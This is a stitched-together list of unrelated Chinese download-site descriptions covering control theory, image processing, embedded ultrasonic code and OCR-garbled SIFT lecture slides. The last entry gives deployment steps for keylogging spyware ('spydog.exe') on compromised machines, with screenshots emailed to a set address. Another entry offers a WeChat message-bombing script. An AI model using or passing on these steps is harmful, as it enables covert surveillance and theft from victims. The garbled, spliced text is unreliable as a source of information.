Matlab实现血管骨架提取

四旋翼飞行器的动力学建模及PID控制，本文介绍了四旋翼飞行器的动力学建模以及飞行控制PID算法

CMAC控制器设计与仿真：在小脑神经网络（CMAC）与PID 并行控制的基础上，提出了一种新型的CMAC 控制器，即FCMAC 控制器

VS13 MFC工程代码, 示例如何使用glfw通过opengl显示xyz文件以及stl文件. 代码中使用到的glfw是进过稍微修改过后的, 可以直接支持将创建的窗口集成到MFC控件中. 代码结构清晰, 使用示例简单. 详情可以查看博客: http://blog.csdn.net/sunbibei/article/details/51783783

微信轰炸（.vbs脚本）

本软件用于进行光学系统的设计仿真，相较于zemax软件，与电子器件之间有更好的联系

实现图的判断，图的拓扑排序，单源最短路径，求最大生成树等主要算法！！！

/* CX20106A 超声波发送与接受程序 40KHz脉冲由单AT89S52单片机P1.0口送出，由P3.2（INT0）采用中断方式接收。 定时器0，定时器1中断方式工作，T1为8位自动重装模式（定时12.5us），T0为16位定时器（定时约65ms） 超声波接受采用外部中断INT0，接受到返回脉冲后，在外部中断程序中计算距离。 65ms超声波传播距离约65×10^(-3) × 340m/s =22.1m,距离足够了，远超CX20106A的测量范围。 40KHz对应波周期T＝1/40KHz =25us,方波高占空比50%，高低电平宽度分别占0.5T＝12.5us。 定

本文介绍了目前常用的几种基于神经网络的图像识别方法，根据图像识别的特点，提出了利用BP 网络、径向基函数两种神经网络图像识别模型，分别给出了两种模型的学习算法和具体应用技术。

SIFT算法特点• SIFT特征是图像的局部特征，其对旋转、尺度缩放、亮度变化保持不变性，对视角变化、仿射变换、噪声也保持一定程度的稳定性。• 独特性(Distinctiveness)好，信息量丰富，适用于在海量特征数据库中进行快速、准确的匹配。• 多量性，即使少数的几个物体也可以产生大量SIFT特征向量。• 经过优化的SIFT算法可满足一定的速度需求。• 可扩展性，可以很方便的与其他形式的特征向量进行联合。SIFT简介SIFTScale Invariant Feature Transform传统的特征提取方法成像匹配的核心问题是将同一目标在不同时间、不同分辨率、不同光照、不同位姿情况下所成的像相对应。传统的匹配算法往往是直接提取角点或边缘,对环境的适应能力较差,急需提出一种鲁棒性强、能够适应不同光照、不同位姿等情况下能够有效识别目标的方法。己0]/3/己7彐SIFT简介SIFTScale Invariant Feature TransformSIFT提出的目的和意义分1999年 British columbia大学大卫.劳伊( David g.Lowe)教授总结了现有的基于不变量技术的特征检测方法,并正式提出了一种基于尺度空间的、对图像缩放、旋转甚至仿射变换保持不变性的图像局部特征描述算子一SIFT(尺度不变特征变换),这种算法在2004年被加以完善己0]/3/己7SIFT简介SIFTScale Invariant Feature Transform将一幅图像映射(变换)为一个局部特征向量集;特征向量具有平移、缩放、旋转不变性,同时对光照变化、仿射及投影变换也有一定不变性。己0]/3/己7SIFT简介SIFTScale Invariant Feature TransformSIFT算法特点SIFT特征是图像的局部特征,其对旋转、尺度缩放、亮度变化保持不变性,对视角变化、仿射变换、噪声也保持一定程度的稳定性。独特性( Distinctiveness)好,信息量丰富,适用于在海量特征数据库中进行快速、准确的匹配。多量性,即使少数的几个物体也可以产生大量SIFT特征向量。经过优化的SIFT算法可满足一定的速度需求。可扩展性,可以很方便的与其他形式的特征向量进行联合。己0]/3/己7SIFT简介SIFTScale Invariant Feature TransformSIFT算法可以解决的问题目标的自身状态、场景所处的环境和成像器材的成像特性等因素影响图像配准/目标识别跟踪的性能。而SIFT算法在一定程度上可解决:目标的旋转、缩放、平移(RsT)图像仿射/投影变换(视点 viewpoint)光照影响(111 amination)目标遮挡( occlusion)杂物场景(c1 utter)噪声己0]/3/己7SIFT算法实现细节SIFTScale Invariant Feature TransformSIFT算法实现步骤简述SIFT算法的实质可以归为在不同尺度空间上查找特征点(关键点)的问题。原图像特征点特征点目标的特检测描述征点集特征点匹匹配点矫配正目标图像特征点特征点目标的特检测描述征点集SIFT算法实现物体识别主要有三大工序,1、提取关键点;2、对关键点附加详细的信息(局部特征)也就是所谓的描述器;3、通过两方特征点(附带上特征向量的关键点)的两两比较找出相互匹配的若干对特征点,也就建立了景物间的对应关系。SIFT算法实现细节SIFTScale Invariant Feature TransformSIFT算法实现步骤关键点检测己。关键点描述彐·关键点匹配4·消除错配点己0]/3/己7关键点检测的相关概念SFTiant Feature Transfor1.哪些点是SIFT中要查找的关键点(特征点)?这些点是一些十分突出的点不会因光照条件的改变而消失,比如角点边缘点、暗区域的亮点以及亮区域的暗点,既然两幅图像中有相同的景物,那么使用某种方法分别提取各自的稳定点,这些点之间会有相互对应的匹配点。所谓关键点,就是在不同尺度空间的图像下检测出的具有方向信息的局部极值点。根据归纳,我们可以看出特征点具有的三个特征:尺度方向大小己0]/3/己7

功能：1.记录运行的程序2.记录键盘输入3.定时截屏发送邮箱用法：4个文件上传到肉鸡任意目录运行主程序spydog.exe（在DOS下运行，肉鸡哪能看见呢？）注意：上传前请修改sysconfig文件内容，右击记事本打开引用:111 10600 截屏间隔时间(不能小于60，单位是秒）heikechina@foxmail.com 接受信息的邮箱